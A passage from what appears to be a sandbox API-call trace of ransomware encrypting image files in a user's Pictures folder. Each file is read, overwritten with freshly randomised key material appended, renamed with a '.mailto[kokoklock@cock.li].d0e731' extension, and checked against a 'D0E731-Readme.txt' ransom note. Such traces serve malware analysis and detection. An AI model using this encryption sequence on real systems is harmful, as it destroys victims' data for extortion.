Flags=0x0, BaseAddress=0x3480fd8) returned 1 [0065.755] RtlExitUserThread (Status=0x1) Thread: id = 338 os_tid = 0x13c0 [0065.754] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif")) returned 0x20 [0065.756] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif", dwFileAttributes=0x20) returned 1 [0065.756] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.756] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf73fb70 | out: lpFileSize=0xf73fb70*=20948) returned 1 [0065.756] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x51d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.756] ReadFile (in: hFile=0x7c8, lpBuffer=0xf73fb44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0xf73fb44*, lpNumberOfBytesRead=0xf73fb40*=0x4, lpOverlapped=0x0) returned 1 [0065.756] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.756] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be500 [0065.756] NtQuerySystemTime (in: CurrentTime=0xf73fb1c | out: CurrentTime=0xf73fb1c*=132121176236434308) returned 0x0 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xb0e763fc [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x9d603ae4 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x78d476ff [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xa5a2e0a9 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xb08f4ff3 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x503ed31 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x6d4b2d51 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x1da84a22 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xc3adf15 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x5001e631 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xb5cf0e28 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x54e4ff1a [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x6bd85254 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xb1b60dd0 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x27a36d29 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x8747f5c7 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x7e929328 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xbf573bcf [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x5eda26c7 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x72f38aca [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x45e98791 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xb198bc25 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xba008cd0 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xa0f9381c [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x16c91196 [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x1bd0d66b [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xa58c193d [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xc898fc3d [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x85b0306b [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xd314657f [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0xe758f42e [0065.757] RtlRandom (in: Seed=0xf73fb28 | out: Seed=0xf73fb28) returned 0x6a9cbb [0065.768] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.768] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf73faf4, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf73faf4*=0x4096, lpOverlapped=0x0) returned 1 [0065.768] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.768] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be578 [0065.768] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0065.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.769] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be578 [0065.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0065.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.769] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf73faf4, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf73faf4*=0x4096, lpOverlapped=0x0) returned 1 [0065.769] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.769] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x51d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.769] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf73fb2c, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf73fb2c*=0x20, lpOverlapped=0x0) returned 1 [0065.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be550*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0x34be550*, lpNumberOfBytesWritten=0xf73fb40*=0x8, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0xf73fb58*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0xf73fb58*, lpNumberOfBytesWritten=0xf73fb40*=0x4, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf73fb40*=0x4, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf73fb40*=0x6c, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf73fb40*=0x20, lpOverlapped=0x0) returned 1 [0065.770] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf73fb40, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf73fb40*=0x4, lpOverlapped=0x0) returned 1 [0065.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be528) returned 1 [0065.770] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be550) returned 1 [0065.770] CloseHandle (hObject=0x7c8) returned 1 [0065.771] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8a) returned 0x3486220 [0065.772] wcscpy (in: _Dest=0x3486220, _Source="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" [0065.772] wcscat (in: _Dest=0x3486220, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" [0065.772] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\drsksp.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.772] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.772] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3486220) returned 1 [0065.772] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\dRSKsP.gif", dwFileAttributes=0x20) returned 0 [0065.773] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482098 [0065.773] wcscpy (in: _Dest=0x3482098, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.773] wcscat (in: _Dest=0x3482098, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.773] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482098) returned 1 [0065.773] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481028) returned 1 [0065.773] RtlExitUserThread (Status=0x1) Thread: id = 339 os_tid = 0x13c4 [0065.774] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png")) returned 0x20 [0065.774] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png", dwFileAttributes=0x20) returned 1 [0065.774] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.774] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf7bfcd0 | out: lpFileSize=0xf7bfcd0*=70653) returned 1 [0065.774] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x113f9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.774] ReadFile (in: hFile=0x7c8, lpBuffer=0xf7bfca4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0xf7bfca4*, lpNumberOfBytesRead=0xf7bfca0*=0x4, lpOverlapped=0x0) returned 1 [0065.775] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.775] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be528 [0065.775] NtQuerySystemTime (in: CurrentTime=0xf7bfc7c | out: CurrentTime=0xf7bfc7c*=132121176236746633) returned 0x0 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x99f890ad [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x729e6db [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x865b12a0 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xa7d874ca [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xd9553a3c [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x7e747f8a [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x1fc264b0 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x2fdc7161 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xd7b0870d [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xa4aaee64 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x29b8ea01 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x3869739e [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x70c290a2 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x2f03b690 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xb092a841 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x893afe46 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x8ffa5440 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x637d10a3 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x76b6c4a3 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x8b8e9531 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x463dc926 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xfb41f5fe [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xa9afc722 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x8fdad13f [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x3afff963 [0065.775] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x881e75ef [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xe1e1f64e [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x1e8c47a7 [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x1116304d [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0xb3779f1 [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x3ab3240a [0065.776] RtlRandom (in: Seed=0xf7bfc88 | out: Seed=0xf7bfc88) returned 0x6fcb2e7b [0065.786] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.786] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf7bfc54, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf7bfc54*=0x4096, lpOverlapped=0x0) returned 1 [0065.786] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.787] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.787] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf7bfc54, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf7bfc54*=0x4096, lpOverlapped=0x0) returned 1 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.788] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x113fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be4b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf7bfc8c, lpOverlapped=0x0 | out: lpBuffer=0x34be4b0*, lpNumberOfBytesWritten=0xf7bfc8c*=0x20, lpOverlapped=0x0) returned 1 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be4b0) returned 1 [0065.788] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0x34be578*, lpNumberOfBytesWritten=0xf7bfca0*=0x8, lpOverlapped=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0xf7bfcb8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0xf7bfcb8*, lpNumberOfBytesWritten=0xf7bfca0*=0x4, lpOverlapped=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf7bfca0*=0x4, lpOverlapped=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf7bfca0*=0x6c, lpOverlapped=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be668*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0x34be668*, lpNumberOfBytesWritten=0xf7bfca0*=0x20, lpOverlapped=0x0) returned 1 [0065.788] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf7bfca0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf7bfca0*=0x4, lpOverlapped=0x0) returned 1 [0065.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be668) returned 1 [0065.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be550) returned 1 [0065.789] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be578) returned 1 [0065.789] CloseHandle (hObject=0x7c8) returned 1 [0065.791] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0065.791] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" [0065.791] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" [0065.791] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\e2booautk7dj.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.792] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.792] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.792] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\E2BOoAuTk7dJ.png", dwFileAttributes=0x20) returned 0 [0065.792] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.792] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.792] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.792] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.793] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481a38) returned 1 [0065.793] RtlExitUserThread (Status=0x1) Thread: id = 340 os_tid = 0x13c8 [0065.794] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg")) returned 0x20 [0065.794] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg", dwFileAttributes=0x20) returned 1 [0065.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\f3djQRK-nPfsqMQ a L3.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\f3djqrk-npfsqmq a l3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.795] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf83fbfc | out: lpFileSize=0xf83fbfc*=23263) returned 1 [0065.795] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x5adb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.795] ReadFile (in: hFile=0x7c8, lpBuffer=0xf83fbd0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf83fbcc, lpOverlapped=0x0 | out: lpBuffer=0xf83fbd0*, lpNumberOfBytesRead=0xf83fbcc*=0x4, lpOverlapped=0x0) returned 1 [0065.795] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be4b0 [0065.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be668 [0065.795] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be550 [0065.795] NtQuerySystemTime (in: CurrentTime=0xf83fba8 | out: CurrentTime=0xf83fba8*=132121176236902672) returned 0x0 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x8d436706 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xaf47fba3 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xd2dce786 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x24ea4bc1 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xae3d0ed7 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xb6d082c0 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0x3addc7d8 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: Seed=0xf83fbb4) returned 0xe355d8e6 [0065.795] RtlRandom (in: Seed=0xf83fbb4 | out: 